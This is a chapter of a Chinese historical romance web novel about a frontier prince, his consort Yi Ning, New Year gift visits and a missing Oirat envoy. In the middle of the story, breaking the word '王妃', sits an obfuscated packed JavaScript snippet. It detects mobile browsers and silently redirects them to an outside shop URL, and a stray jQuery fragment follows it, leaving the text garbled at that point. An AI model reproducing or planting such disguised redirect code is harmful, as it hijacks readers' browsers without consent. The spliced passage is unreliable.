“阿宁,上回做的糕点,再给我做一回吧?”
弈宁看着刚去了前院,突然又折回来的萧川,颇有些不可思议:“殿下不是有事么?怎的又回来了?”
萧川却不答,他环着弈宁,道:“你昨日才说要哄我的,打算如何哄?”
他这话问得极其认真,弈宁一时不禁有些语塞:“那,殿下想要我如何哄?”
萧川笑了笑,道:“我就想吃你上回做的那种糕点。”说着,一双眼睛看着她,眸子里闪着微光。
弈宁无语,上回做的是荷花明酥,与旁人做这种糕点不同的是,弈宁不光拟了形,还特意在面粉中加入了新鲜了荷花瓣。吃起来不仅清香可口,还能清热解暑。
“殿下,如今是冬日,即便是夏日,这西北怕是也找不到荷花的。不若,我给你做梅花酥如何?”弈宁笑问。
萧川拧眉想了想,荷花酥梅花酥的不重要,重要的是上回的糕点居然让秦风吃了,这就让他心里很是不能忍了。
“干花瓣也是可以的吧?”他问。
干花泡发了自然也是能行的,只是口感会有细微的不同,不过萧川应该是吃不出来的。
她点头道:“可以。”
“行!”最后,他大手一挥,道:“既如此,我让人寻了来就是,记得给我做上回一样的。”
弈宁颇有些哭笑不得,这人怎么突然就对荷花明酥如此执着了?但还是应下了。
近一年的相处,萧川身上有些习惯颇让弈宁有些啼笑皆非。她发现每当萧川离开一段日子再回来,或者两人闹了别扭后,萧川那几日就会特别缠人。
就比如现在,原本弈宁是定了这几日要去几位将军府上送年礼的,结果萧川动辄不是跟着她,就是把她箍去衙署陪他处理公务。
如今那几位远征的将军府中皆只有内眷,总不好带着他一起,送礼之事就这么耽搁下来了。
边税和谈一事好不容易落定了,萧川心里却半点儿也不踏实。
“瓦剌那边这么容易就答应了,倒是让我始料未及。且不说敖敦居然没有在幕后搞什么小动作,那个乌日逐倨傲自大,目下无人,看着不像是个好说话的,竟然也未做任何纠缠,实在太诡异了。”
弈宁听到外间罗续的声音,方才人还未进来,她便被萧川赶来了书房里间。对此,弈宁颇为无语,但想到这男人的小心眼,到底没违逆他的意思。
“嗯。”萧川的声音响起:“乌日逐虽是巴图温的长子,却是个蠢材,不足为虑。敖敦此次的行事着实不像他的风格,我反倒是更忌惮他些。他们如今已离城,为保万全,我预备明日动身去凉州卫,不看着他们回塔城,我不放心。褚雷我带走,这些日子,城中之事,你和秦风上心些。”
罗续点点头,突然他想到什么,面露讥讽,道:“乌日逐可不光是个蠢材,还是个色中禽兽。据说他来了这些天,一直住在窑子里,好几个胡姬愣是都被他折腾残了,半死不活。。。。。。”
他话还未说完,萧川却猛然咳嗽了一声,还下意识地扭头去看里间的门。
罗续见此愣了一瞬,旋即他明白过来,意味深长地看着萧川,莞尔一笑。尔后,他站起身拱拱手,竟然一句话未再说,悠哉悠哉地走了。
这晚,萧川搂着弈宁,二人浓情蜜意许久,极尽欢愉。弈宁累极后沉沉睡去,可刚睡了不到一会儿,萧川竟又开始动手动脚。
弈宁无语,这人就不知道累么?
她苦着一张脸,哼哼唧唧:“殿下莫闹了,我明日真要去送年礼了,再晚,就要过小年了。”
萧川却是笑而不答,只凑着弈宁嗅来嗅去,从脸上到发间,又到颈侧。他只是嗅,手脚有一下没一下地四处蹭着,让弈宁痒得不行。最后,实在忍不住,“咯咯”地笑了起来。
他见弈宁整个人都笑得清醒了过来,这才凑到她耳边,低声哄求道:“好阿宁,我明日一走,又要好几日才能回,便再许我一次好不好?我保证说到做到。”
弈宁实在想不通,好歹是一军主将,怎么就能因为这种事,这般死皮赖脸的?但她也知道,以萧川软磨硬泡的性子,自己若是不答应,这一夜就别想睡了,反正他一定会磨到自己同意为止。
既如此,便索性随他闹吧,闹完了好歹还能睡一会儿。
“殿下是大丈夫,可要说话算话,不可耍赖。”弈宁娇嗔道。
萧川一听这话,便知是获准了。顿时一改方才的温柔小意,立时就变得生龙活虎起来,弈宁很快就开始后悔了,她就不该答应这个土匪。
——
银州府历史悠久,作为西北最大的城池,其不仅是边塞要地,亦是贸易中心。南来北往的客商在此地交汇,东西交通的货物在此处转运。
在这里,回回人过开斋节,羌人有日麦节,鞑靼人庆祝“阿涅”(注释①)。。。。。。,只有汉人是过新年的。
是以,已经是腊月二十二了,除了城南偶有一些马车出门采买,街市上与平日里并无多大不同。
银州府城中汉人不多,主要集中在城南和城外。整个城南,七成以上是军户,承王府和褚英的将军府都在这边,只不过一个在西,一个在东,中间隔着一条最热闹的街市,叫做千柳巷。而城外的汉人,则几乎清一色是流放犯,来做苦力的。
弈宁前两日陆续给几位远征西南的将军府中送了年礼,今日给顾清秋送完礼,这事就算圆满完成了。
年礼是乔嬷嬷一早让人单独装的车,就跟在弈宁的马车后面。大雪还在纷纷扬扬地撒着,王府周围路上的积雪都已经被清扫过一遍了,虽很快便又有了薄薄的一层,但还算好走。等出了王府前大街,进入千柳巷,路面就没那么好了。
有商铺的位置,积雪被简单清扫后,随意地堆放在路两边,没有商铺的地方,积雪混着车辙子、脚印子,坑坑洼洼,泥泞一片。
严刚带着两个护卫亲自在前探路,却也不敢让马车行的太快。左右今日只有一家,也不赶时间,弈宁便随便他们这么慢慢悠悠地走着。
“王
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643939|135967||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
妃,您说这路上不是泥巴就是雪,有什么可逛的?那楚姑娘还日日出来逛,待在屋子里暖暖和和地不好么?”丁香皱着眉头问。
弈宁笑笑:“谁知道呢!”
她可没有心情细究楚月成日里逛些什么,透过偶尔被风掀起的帘角,弈宁看着外面铺子前堆积的半人高的雪,心里有些担忧萧川。
府城里犹自这般,也不知他在卫所如何了。她曾听府里几个当地的下人说过,戈壁中的乱石坑,草原上的鼠洞子、驴井子(注释②),一到大雪时,就是天然的陷马坑。
平日里好分辨,一旦被大雪覆盖,天地间白茫茫一片,哪里还分得清何处有危险?一个运气不好,一脚踏上去,马失前蹄,轻则别断马腿,重则坠马重伤。
弈宁没有去过卫所,更不曾见过战场,自然没有顾清秋的那份从容和泰然。但凡听人说到些什么,就难免不往萧川身上忧心。
这些心思若是被萧川知道,怕不是要被笑死。他兵戈铁马这些年,若是一个陷马坑都能伤了他,也不能活到现在了。
——
凉州卫所。
萧川正立在一幅悬挂的舆图前,面色沉静。
他的视线一路跃过辽东、鞑靼、瓦剌,最后到西南,这是一个大圈,将大启的疆土包裹其间。
“殿下,刚收到传信,瓦剌议和的那群人,已经过了戈壁,约摸明日入夜前就能回到塔城。”褚雷自门外而入,拱手道:“只是,有一件事很怪,据说队伍中少了一个人。”
萧川神色未动:“谁?”
“巴图温长子,乌日逐。”
萧川蹙眉转身:“怎么回事?”
褚雷亦是疑惑,他道:“那日出城,秦风和罗大人曾在城门送行,亲眼看着乌日逐出的城。不知怎的,几日过去,这人竟突然就不见了。”
萧川拧眉思索片刻,问道:“鞑靼那边可有消息?”
“未曾。不过末将方才收到消息,已令传信鞑靼那边的暗探留意探查。”
萧川却摇摇头,道:“既然没有消息,应该就不是去了鞑靼。”
他闭了闭眼,道:“即刻传信秦风,加强府城护卫,尤其要把王府给我看牢了。一日不找出乌日逐,一日便不可松懈。”
按照他的推想,乌日逐既不在队伍中,也未去鞑靼,那便只有一个可能,他已经偷偷潜回了银州府了。
褚雷显然也已想到了这一点,是以得了萧川的令,并未多问,便出去安排了。
萧川坐在桌前,手指在案桌上无意识地打着圈。
议和早已结束,乌日逐提的要求大部分被萧川驳回,他也未多做纠缠。却在出城后又私自潜回城,他究竟想做什么?
萧川闭着眼睛静静思索着,却是怎么也不得要领。
正在这时,门外想起急促的脚步声,刚出去的褚雷,不知为何又折了回来。
“殿下,不好了!”褚雷一脚还未跨进门槛,便急声道。
萧川“嚯”地睁开眼睛:“出了何事?”